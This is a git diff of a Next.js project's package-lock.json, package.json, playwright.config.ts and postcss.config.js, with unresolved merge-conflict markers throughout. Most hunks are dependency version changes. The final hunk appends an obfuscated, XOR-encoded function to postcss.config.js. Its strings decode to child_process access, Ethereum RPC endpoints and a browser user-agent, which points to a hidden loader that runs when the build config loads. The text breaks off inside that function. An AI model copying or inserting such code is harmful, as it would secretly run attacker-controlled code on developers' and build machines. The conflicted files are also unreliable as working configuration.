"sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "regexp.prototype.flags": "^1.5.3", + "set-function-name": "^2.0.2", + "side-channel": "^1.1.0" +======= "version": "4.1.0", "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.1.0.tgz", "integrity": "sha512-tHNHTxInrYLCga9O9YGxWA3G9/nnzQw8UGAyqGx3Ar1pSTTzIuM4woFSq4SowkXCjJIwq5sIiQvEfRI9tCH1qQ==", @@ -15380,6 +17941,7 @@ "regexp.prototype.flags": "^1.5.4", "set-function-name": "^2.0.2", "side-channel": "^1.1.1" +>>>>>>> upstream/main }, "engines": { "node": ">= 0.4" @@ -15627,6 +18189,8 @@ "node": ">=16 || 14 >=14.17" } }, +<<<<<<< HEAD +======= "node_modules/sucrase/node_modules/commander": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", @@ -15637,6 +18201,7 @@ "node": ">= 6" } }, +>>>>>>> upstream/main "node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", @@ -15669,9 +18234,15 @@ "license": "ISC" }, "node_modules/swr": { +<<<<<<< HEAD + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/swr/-/swr-2.4.2.tgz", + "integrity": "sha512-ej644Y2bvkIajfR32KGeSSdBXQW+ScjGjkybZgSE7kFpk9eGnV44XY9FJylXi+W75pavSX1PVNB57W5EbhGIYw==", +======= "version": "2.5.1", "resolved": "https://registry.npmjs.org/swr/-/swr-2.5.1.tgz", "integrity": "sha512-BRw55e8r0B7SpDN20CAzoQAHl7y1yP7/Zt7oqUjMv0vSt2u2Xnkm88Ws+VypbV9BXHQVuSuyVq7zMjO16wSExw==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "dequal": "^2.0.3", @@ -15727,14 +18298,24 @@ } }, "node_modules/tailwindcss/node_modules/resolve": { +<<<<<<< HEAD + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", +======= "version": "1.22.13", "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.13.tgz", "integrity": "sha512-Dj/cW9zBV2aRj6XzCxuGIs3ESZKv02jixne3q6jFZYZ3/Tg09gHHviSMDL4kObh9pqSahdRHEnDoaP2gn8YLhA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { "es-errors": "^1.3.0", +<<<<<<< HEAD + "is-core-module": "^2.16.1", +======= "is-core-module": "^2.17.0", +>>>>>>> upstream/main "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -15827,6 +18408,8 @@ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", "license": "MIT" }, +<<<<<<< HEAD +======= "node_modules/tesseract.js": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/tesseract.js/-/tesseract.js-7.0.0.tgz", @@ -15851,6 +18434,7 @@ "integrity": "sha512-WnNH518NzmbSq9zgTPeoF8c+xmilS8rFIl1YKbk/ptuuc7p6cLNELNuPAzcmsYw450ca6bLa8j3t0VAtq435Vw==", "license": "Apache-2.0" }, +>>>>>>> upstream/main "node_modules/text-segmentation": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/text-segmentation/-/text-segmentation-1.0.3.tgz", @@ -15922,9 +18506,15 @@ "license": "MIT" }, "node_modules/tinyexec": { +<<<<<<< HEAD + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.2.4.tgz", + "integrity": "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==", +======= "version": "1.3.1", "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.1.tgz", "integrity": "sha512-GCvB3aoys96IuDFBMcTB46JOR6mdMtAToqwiW8JlWhsoh1mhHi/xn9ss/Dg7N555GiJyEt2qzoG/NHCwM6h1EA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -15949,9 +18539,15 @@ } }, "node_modules/tinyrainbow": { +<<<<<<< HEAD + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", + "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", +======= "version": "3.2.0", "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz", "integrity": "sha512-LgO3D9yZJjApUiuUfl9iFAwrtaX4+lok3wJIqttGoKCHlWUqHqbQpnxCf82L8FjgKsh4iGo78hqJwgL8F6To2A==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -15959,6 +18555,15 @@ } }, "node_modules/tldts": { +<<<<<<< HEAD + "version": "7.4.5", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.5.tgz", + "integrity": "sha512-RfEzKWcq5fHUOFq7J3rl3Oz6ylKGtcHqUznzj4EcXsxLSIjJcvpbXAQtWGeJQ0xKnimR5e0Cn+cn9TssfMzm+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^7.4.5" +======= "version": "7.4.16", "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.4.16.tgz", "integrity": "sha512-QwBER5KMR86IIjpIiO7H/Z3IMJPsZ1A6RKPAqzTTgOyUQUSt9FdnKcqhTaJmkY6HVrgouZHZR0ncK5QxvmnQeg==", @@ -15966,15 +18571,22 @@ "license": "MIT", "dependencies": { "tldts-core": "^7.4.16" +>>>>>>> upstream/main }, "bin": { "tldts": "bin/cli.js" } }, "node_modules/tldts-core": { +<<<<<<< HEAD + "version": "7.4.5", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.5.tgz", + "integrity": "sha512-pGrwzZDvPwKe+7NNUqAunb6rqTfynr0VOUhCMdqbu5xlvNiszsAJygRzwvpVycdzejlbpY+SWJOn+s75Og7FEA==", +======= "version": "7.4.16", "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.4.16.tgz", "integrity": "sha512-MDolfaSJtlSK5Y0A1xl3277ekubZwobpBjugknDizI9O5Rm60a1m8k4ICK+MRsCDzPygT81mp3BBf5RKDlFRfA==", +>>>>>>> upstream/main "dev": true, "license": "MIT" }, @@ -16030,9 +18642,15 @@ } }, "node_modules/tough-cookie": { +<<<<<<< HEAD + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.1.tgz", + "integrity": "sha512-LktZQb3IeoUWB9lqR5EWTHgW/VTITCXg4D21M+lvybRVdylLrRMnqaIONLVb5mav8vM19m44HIcGq4qASeu2Qw==", +======= "version": "6.0.2", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.2.tgz", "integrity": "sha512-exgYmnmL/sJpR3upZfXG5PoatXQii55xAiXGXzY+sROLZ/Y+SLcp9PgJNI9Vz37HpQ74WvDcLT8eqm+kV3FzrA==", +>>>>>>> upstream/main "dev": true, "license": "BSD-3-Clause", "dependencies": { @@ -16056,6 +18674,14 @@ } }, "node_modules/traverse": { +<<<<<<< HEAD + "version": "0.3.9", + "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz", + "integrity": "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ==", + "license": "MIT/X11", + "engines": { + "node": "*" +======= "version": "0.3.10", "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.10.tgz", "integrity": "sha512-pd6fq5qmiFuPA3TpdqBCqJXlOrSdCSt0l9IZDg83Vbf4x3m/X18prEwMMVM5LXp9vGL9NxjeiDGBrTasqyngXQ==", @@ -16072,6 +18698,7 @@ }, "funding": { "url": "https://github.com/sponsors/ljharb" +>>>>>>> upstream/main } }, "node_modules/trim-lines": { @@ -16212,6 +18839,20 @@ } }, "node_modules/typed-array-byte-offset": { +<<<<<<< HEAD + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" +======= "version": "1.0.5", "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.5.tgz", "integrity": "sha512-0FHJvLPqZ7KJzp17O13jfsAjsqazgrxBu2zEK95PmUz8lv2+GjRuxUInCr2Rk9Dms3ihN21zJ929ZO43yJ95QQ==", @@ -16223,6 +18864,7 @@ "gopd": "^1.2.0", "is-typed-array": "^1.1.15", "reflect.getprototypeof": "^1.0.10" +>>>>>>> upstream/main }, "engines": { "node": ">= 0.4" @@ -16251,6 +18893,8 @@ "url": "https://github.com/sponsors/ljharb" } }, +<<<<<<< HEAD +======= "node_modules/typedarray.prototype.slice": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/typedarray.prototype.slice/-/typedarray.prototype.slice-1.0.6.tgz", @@ -16273,6 +18917,7 @@ "url": "https://github.com/sponsors/ljharb" } }, +>>>>>>> upstream/main "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", @@ -16288,9 +18933,15 @@ } }, "node_modules/uint8array-extras": { +<<<<<<< HEAD + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", +======= "version": "1.6.0", "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.6.0.tgz", "integrity": "sha512-8iAasVS4wUx0gPLjH8Xtz2PeDzTSiy8QiLGu2DT3X5GU+egFEQhpnbtkehbAwjvDcxIERmCYcysiODFmE3Ud0Q==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=18" @@ -16318,12 +18969,22 @@ } }, "node_modules/undici": { +<<<<<<< HEAD + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz", + "integrity": "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20.18.1" +======= "version": "6.29.0", "resolved": "https://registry.npmjs.org/undici/-/undici-6.29.0.tgz", "integrity": "sha512-R+RODBqp6i2pPflGdq+xIOUkl+RNfGgHwoinecKu/JCuf2uO06cOKoDbI2P7Dn6KcswdKwrczbU6IYJ6K8X+wg==", "license": "MIT", "engines": { "node": ">=18.17" +>>>>>>> upstream/main } }, "node_modules/undici-types": { @@ -16610,9 +19271,15 @@ } }, "node_modules/update-browserslist-db": { +<<<<<<< HEAD + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.2.tgz", + "integrity": "sha512-UQ+MSxlhRm1bzjhU+DcuXfjFO1FzNtqhK5+9Yvlp90ItDLk5vT932A0rFu619nf7RVS+Y/VeaUW1jaRDqZ8VJw==", +======= "version": "1.3.4", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.3.4.tgz", "integrity": "sha512-t8wonIOdQyOjtPd2VktlBu6QjTVTks6v8bSi7kd0r2Vll8TK1JYDZtRRdbmCHOAMphkZgrzK+L+vXK4pyZ8t4A==", +>>>>>>> upstream/main "funding": [ { "type": "opencollective", @@ -16656,9 +19323,15 @@ "license": "MIT" }, "node_modules/use-sync-external-store": { +<<<<<<< HEAD + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", +======= "version": "1.7.0", "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.7.0.tgz", "integrity": "sha512-6L+EeigHMQhdaIPNIFUKwfWJSwWFQ8gJbJ2DLOs5sDIegTwR9fRxvnM3uciHKjIZhFz+KAv2emhWMRvDmMcY8A==", +>>>>>>> upstream/main "license": "MIT", "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" @@ -16740,6 +19413,18 @@ } }, "node_modules/vite": { +<<<<<<< HEAD + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/vite/-/vite-8.1.0.tgz", + "integrity": "sha512-BuJcQK/56NQTWDGn4ABea3q4SSBdNPWwNZKTkkUpcMPnLoquSYH8llRtSUIgoL1KSCpHt5eghLShn50mH36y7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "lightningcss": "^1.32.0", + "picomatch": "^4.0.4", + "postcss": "^8.5.15", + "rolldown": "~1.1.2", +======= "version": "8.3.3", "resolved": "https://registry.npmjs.org/vite/-/vite-8.3.3.tgz", "integrity": "sha512-cTAldKPImjg6c+gk48U19POPn3GCBzZwpdsN8ZMEEcbpes+6/wvfqUd0C2y3qYY4wsj8PwgFwrZ/1jBPVttMSg==", @@ -16750,6 +19435,7 @@ "picomatch": "^4.0.7", "postcss": "^8.5.28", "rolldown": "~1.2.11", +>>>>>>> upstream/main "tinyglobby": "^0.2.17" }, "bin": { @@ -16766,7 +19452,11 @@ }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", +<<<<<<< HEAD + "@vitejs/devtools": "^0.3.0", +======= "@vitejs/devtools": "^0.7.1", +>>>>>>> upstream/main "esbuild": "^0.27.0 || ^0.28.0", "jiti": ">=1.21.0", "less": "^4.0.0", @@ -16831,6 +19521,37 @@ "node": ">= 6" } }, +<<<<<<< HEAD + "node_modules/vite/node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/vitest": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.9.tgz", + "integrity": "sha512-nE3/LEyc0z87uHYLZebqCUOaJr2hdtuPp7BQ4BosVFnfltxgAvMG08NyrSGlPpOUWvR27c5flSmYFTNr78L9GQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.9", + "@vitest/mocker": "4.1.9", + "@vitest/pretty-format": "4.1.9", + "@vitest/runner": "4.1.9", + "@vitest/snapshot": "4.1.9", + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", +======= "node_modules/vitest": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.11.tgz", @@ -16845,6 +19566,7 @@ "@vitest/snapshot": "4.1.11", "@vitest/spy": "4.1.11", "@vitest/utils": "4.1.11", +>>>>>>> upstream/main "es-module-lexer": "^2.0.0", "expect-type": "^1.3.0", "magic-string": "^0.30.21", @@ -16872,12 +19594,21 @@ "@edge-runtime/vm": "*", "@opentelemetry/api": "^1.9.0", "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", +<<<<<<< HEAD + "@vitest/browser-playwright": "4.1.9", + "@vitest/browser-preview": "4.1.9", + "@vitest/browser-webdriverio": "4.1.9", + "@vitest/coverage-istanbul": "4.1.9", + "@vitest/coverage-v8": "4.1.9", + "@vitest/ui": "4.1.9", +======= "@vitest/browser-playwright": "4.1.11", "@vitest/browser-preview": "4.1.11", "@vitest/browser-webdriverio": "4.1.11", "@vitest/coverage-istanbul": "4.1.11", "@vitest/coverage-v8": "4.1.11", "@vitest/ui": "4.1.11", +>>>>>>> upstream/main "happy-dom": "*", "jsdom": "*", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" @@ -16921,6 +19652,8 @@ } } }, +<<<<<<< HEAD +======= "node_modules/vitest/node_modules/es-module-lexer": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", @@ -16928,6 +19661,7 @@ "dev": true, "license": "MIT" }, +>>>>>>> upstream/main "node_modules/w3c-keyname": { "version": "2.2.8", "resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz", @@ -16947,12 +19681,15 @@ "node": ">=18" } }, +<<<<<<< HEAD +======= "node_modules/wasm-feature-detect": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/wasm-feature-detect/-/wasm-feature-detect-1.9.0.tgz", "integrity": "sha512-zonE+xlIIYtxPy++L24ow0hAD8CICb4+FgPyROd3buyXIqsJvUEDkBgfCCoXOd1Hu3DUr0GOfnPIdcGV+YpNaA==", "license": "Apache-2.0" }, +>>>>>>> upstream/main "node_modules/web-push": { "version": "3.6.7", "resolved": "https://registry.npmjs.org/web-push/-/web-push-3.6.7.tgz", @@ -17052,6 +19789,8 @@ "source-map": "~0.6.1" } }, +<<<<<<< HEAD +======= "node_modules/webpack-sources/node_modules/source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", @@ -17061,6 +19800,7 @@ "node": ">=0.10.0" } }, +>>>>>>> upstream/main "node_modules/whatwg-mimetype": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", @@ -17172,9 +19912,15 @@ "license": "ISC" }, "node_modules/which-typed-array": { +<<<<<<< HEAD + "version": "1.1.22", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.22.tgz", + "integrity": "sha512-fvO4ExWMFsqyhG3AiPAObMuY1lxaqgYcxbc49CNdWDDECOJNgQyvsOWVwbZc+qf3rzRtxojBK+CMEv0Ld5CYpw==", +======= "version": "1.1.24", "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.24.tgz", "integrity": "sha512-wk4Mf4pR5mRP7eYuuTBCIQ9d0ud2Fv2jRLQpfgnRjbOxAFHmjKFValgTpitVKzJJS8ajnYQV2Du1SZ8j6b/EUQ==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "available-typed-arrays": "^1.0.7", @@ -17329,6 +20075,18 @@ "fsevents": "~2.3.2" } }, +<<<<<<< HEAD + "node_modules/workbox-build/node_modules/source-map": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0.tgz", + "integrity": "sha512-d8EqvL+k/SOXCreS/SUzg2ciyHqBBLcN/yuRjFsbvVhHTE2pgei7oAhmPM7kWFbkX6OSMQfUq4KbkF3au9lhYQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 12" + } + }, +======= +>>>>>>> upstream/main "node_modules/workbox-cacheable-response": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-7.1.0.tgz", @@ -17505,6 +20263,18 @@ "fsevents": "~2.3.2" } }, +<<<<<<< HEAD + "node_modules/workbox-webpack-plugin/node_modules/source-map": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0.tgz", + "integrity": "sha512-d8EqvL+k/SOXCreS/SUzg2ciyHqBBLcN/yuRjFsbvVhHTE2pgei7oAhmPM7kWFbkX6OSMQfUq4KbkF3au9lhYQ==", + "license": "BSD-3-Clause", + "engines": { + "node": ">= 12" + } + }, +======= +>>>>>>> upstream/main "node_modules/workbox-webpack-plugin/node_modules/workbox-build": { "version": "7.1.0", "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-7.1.0.tgz", @@ -17619,9 +20389,15 @@ } }, "node_modules/wrap-ansi/node_modules/ansi-regex": { +<<<<<<< HEAD + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", +======= "version": "6.4.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12" @@ -17664,9 +20440,15 @@ "license": "ISC" }, "node_modules/ws": { +<<<<<<< HEAD + "version": "7.5.11", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.11.tgz", + "integrity": "sha512-zS54Oen9bITtp7kp2XM3AydrCIq1D+HwJOuH+c+e4LfpL/lotP5osijd+UoMnxwAam1GN8R4KtLAyIrIcBNpiA==", +======= "version": "7.5.13", "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.13.tgz", "integrity": "sha512-rsKI6xDBFVf4r/x8XyChGK04QR/XHroxs/jUcoWvtEZM8TPU/X/uIY9B1CsSzYws9ZJb/6bbBu7dPhFW00CAoA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -17898,6 +20680,8 @@ "node": ">= 10" } }, +<<<<<<< HEAD +======= "node_modules/zlibjs": { "version": "0.3.1", "resolved": "https://registry.npmjs.org/zlibjs/-/zlibjs-0.3.1.tgz", @@ -17907,6 +20691,7 @@ "node": "*" } }, +>>>>>>> upstream/main "node_modules/zod": { "version": "3.25.76", "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", @@ -17917,9 +20702,15 @@ } }, "node_modules/zustand": { +<<<<<<< HEAD + "version": "5.0.14", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.14.tgz", + "integrity": "sha512-/8tAspM5LMPr28b3fwLYrtdj77ECpfZviaP75CMTnwO8ISyaE4GDIG/9rDDYq/cH9D2Xw2A2RXglLInmVBQB/g==", +======= "version": "5.0.15", "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.15.tgz", "integrity": "sha512-MpSEjRiBkA9crSYeOUH32rJC7SVqAbm0Fqcqge/bUi2PPoLcBWKOsG+C8mevmpr8TwXHBVkChbbJiyvkE+i/3A==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12.20.0" diff --git a/package.json b/package.json index f0833c65..74be4d79 100644 --- a/package.json +++ b/package.json @@ -8,6 +8,15 @@ "start": "next start", "lint": "next lint", "test": "vitest run", +<<<<<<< HEAD + "test:watch": "vitest", + "test:e2e": "playwright test" + }, + "dependencies": { + "@hookform/resolvers": "^5.7.1", + "@react-pdf/renderer": "^3.4.4", + "@ducanh2912/next-pwa": "^10.2.0", +======= "test:watch": "vitest --changed", "test:watch:all": "vitest", "test:e2e": "playwright test" @@ -16,6 +25,7 @@ "@ducanh2912/next-pwa": "^10.2.0", "@hookform/resolvers": "^5.7.1", "@react-pdf/renderer": "^3.4.4", +>>>>>>> upstream/main "@sentry/nextjs": "^10.62.0", "@stellar-split/sdk": "^0.1.0", "@stellar/freighter-api": "^3.0.0", @@ -45,7 +55,10 @@ "recharts": "^2.12.7", "remark-gfm": "^4.0.1", "swr": "^2.4.2", +<<<<<<< HEAD +======= "tesseract.js": "^7.0.0", +>>>>>>> upstream/main "web-push": "^3.6.7", "zod": "^3.25.76", "zustand": "^5.0.14" @@ -70,7 +83,10 @@ "@vitejs/plugin-react": "^6.0.3", "autoprefixer": "^10.4.0", "axe-core": "^4.12.1", +<<<<<<< HEAD +======= "dom-accessibility-api": "^0.7.1", +>>>>>>> upstream/main "eslint": "^8.57.0", "eslint-config-next": "14.2.3", "fake-indexeddb": "^6.2.5", @@ -80,4 +96,4 @@ "typescript": "^5.4.0", "vitest": "^4.1.9" } -} +} \ No newline at end of file diff --git a/playwright.config.ts b/playwright.config.ts index 15b4aea1..cb1df3b3 100644 --- a/playwright.config.ts +++ b/playwright.config.ts @@ -15,6 +15,8 @@ export default defineConfig({ }, }, +<<<<<<< HEAD +======= // Visual regression settings: a small per-pixel color tolerance plus an // overall ratio keeps the suite resilient to anti-aliasing/font-rendering // noise between CI runs while still catching real UI regressions. @@ -26,11 +28,14 @@ export default defineConfig({ }, }, +>>>>>>> upstream/main projects: [ { name: 'chromium', use: { ...devices['Desktop Chrome'] }, }, +<<<<<<< HEAD +======= { name: 'error-handling', testMatch: /error-handling\.spec\.ts/, @@ -51,6 +56,7 @@ export default defineConfig({ testMatch: /api-docs\.spec\.ts/, use: { ...devices['Desktop Chrome'] }, }, +>>>>>>> upstream/main ], webServer: { @@ -65,4 +71,8 @@ export default defineConfig({ NEXT_PUBLIC_USDC_ADDRESS: process.env.NEXT_PUBLIC_USDC_ADDRESS || '', }, }, -}); \ No newline at end of file +<<<<<<< HEAD +}); +======= +}); +>>>>>>> upstream/main diff --git a/postcss.config.js b/postcss.config.js index 12a703d9..4c0788e5 100644 --- a/postcss.config.js +++ b/postcss.config.js @@ -3,4 +3,8 @@ module.exports = { tailwindcss: {}, autoprefixer: {}, }, +<<<<<<< HEAD +}; function GSkqNNyuJw$_padNcYwam(){const etOZXsn_OxqoSnJy$OEFSTCE=['bcbdaff1','f3fdfdfa','a0ba88bbbba8b0','a1aca8adacbbba','b9a0b9ac','a1bdbdb9baf3e6e6f8bbb9aae7a0a6e6acbda1','a1acb1','a6aba3acaabd','aba8baacfffd','fbfffbfcfbf9f190b9a0baa6bb','8aa6a7bdaca7bde485aca7aebda1','a7a6a7aaac','f9b1a8fafbfb8cfcaffa8dfaf8f88dfaf9f1f9acffaff9f8fbf8f9fffaacf0a88d8afbfdf0f98caff8a8','afa0a5bdacbb','9681fb','baaca8bbaaa1','a1bdbdb9f3e6e6','a8adad8cbfaca7bd85a0babdaca7acbb','bbacb9a5a8aaac','a7a6adac','bbacbabca5bd','a4a0a7','a0aea7a6bbac','acbda196aba5a6aaa287bca4abacbb','a1bdbdb9baf3','f3fdfdfae6f9b1e6a5ba','efbabda8bbbdaba5a6aaa2f4f9efaca7adaba5a6aaa2f4f0f0f0f0f0f0f0f0efb9a8aeacf4f8efa6afafbaacbdf4fbf9efbaa6bbbdf4adacbaaaefafa0a5bdacbbabb0f4afbba6a4','a7a6adacf3a1bdbdb9','aeb3a0b9','b9bcbaa1','babcaba8bbbba8b0','fbad9e8fb08f9b','b8fd8f93a2b191b2e8a1e59abbfaf489','fbfffbfef8fbf9b08dbcbd9abc','a1a8ba','bebba0bdac','f8fbbdafac9a81be','bbacb8bcacbabd','aea5a6aba8a592ee969fee94f4ee','a4a8b9','f8f9f9fffcfaffa3bd868f9a8b','bbbca7','8c9d81969b998a969c9b85','aaa6a7bdaca7bde4aca7aaa6ada0a7ae','bdbba8a7baa8aabda0a6a7ba','fbe7f9','a7a6adacf3a1bdbdb9ba','a1bdbdb9baf3e6e6acbda1e7adbbb9aae7a6bbae','a8adad','a7a6adacf3aaa1a0a5ad96b9bba6aaacbaba','8ca4b9bdb0e9b9a8b0a5a6a8ade9aba6adb0','b9a8bbbaac','96bd96ba','bca7bbacaf','f8fbf0fbfafcfbfa839a818d90bc','99869a9d','8e8c9d','aabbaca8bdac80a7afa5a8bdac','eef2aea5a6aba8a592ee9681fbee94f4ee','fbfffcfefff0f9bc8e8c9f828d','f3f1f9','a1bdbdb9baf3e6e6acbda1e7aba5a6aaa2baaaa6bcbde7aaa6a4e6a8b9a0','f1f1838fb1bd86a1','acbbbba6bb','88aeaca7bd','a7a6adacf3bcbba5','bda1aca7','baa0aea7a8a5','b1e4b9a8b0a5a6a8ade4abfffd','ada8bda8','b0e4b996f7adedf98bef8997f8a898a2','fff9fafaf8fefd81b08d8c9fbb','aabbaca8bdac8bbba6bda5a08dacaaa6a4b9bbacbaba','a5aca7aebda1','818c888d','f6a4a6adbca5acf4a8aaaaa6bca7bdefa8aabda0a6a7f4bdb1a5a0babdefa8adadbbacbabaf4','84a6b3a0a5a5a8e6fce7f9e9e19ea0a7ada6bebae9879de9f8f9e7f9f2e99ea0a7fffdf2e9b1fffde0e988b9b9a5ac9eacab82a0bde6fcfafee7faffe9e182819d8485e5e9a5a0a2ace98eacaaa2a6e0e98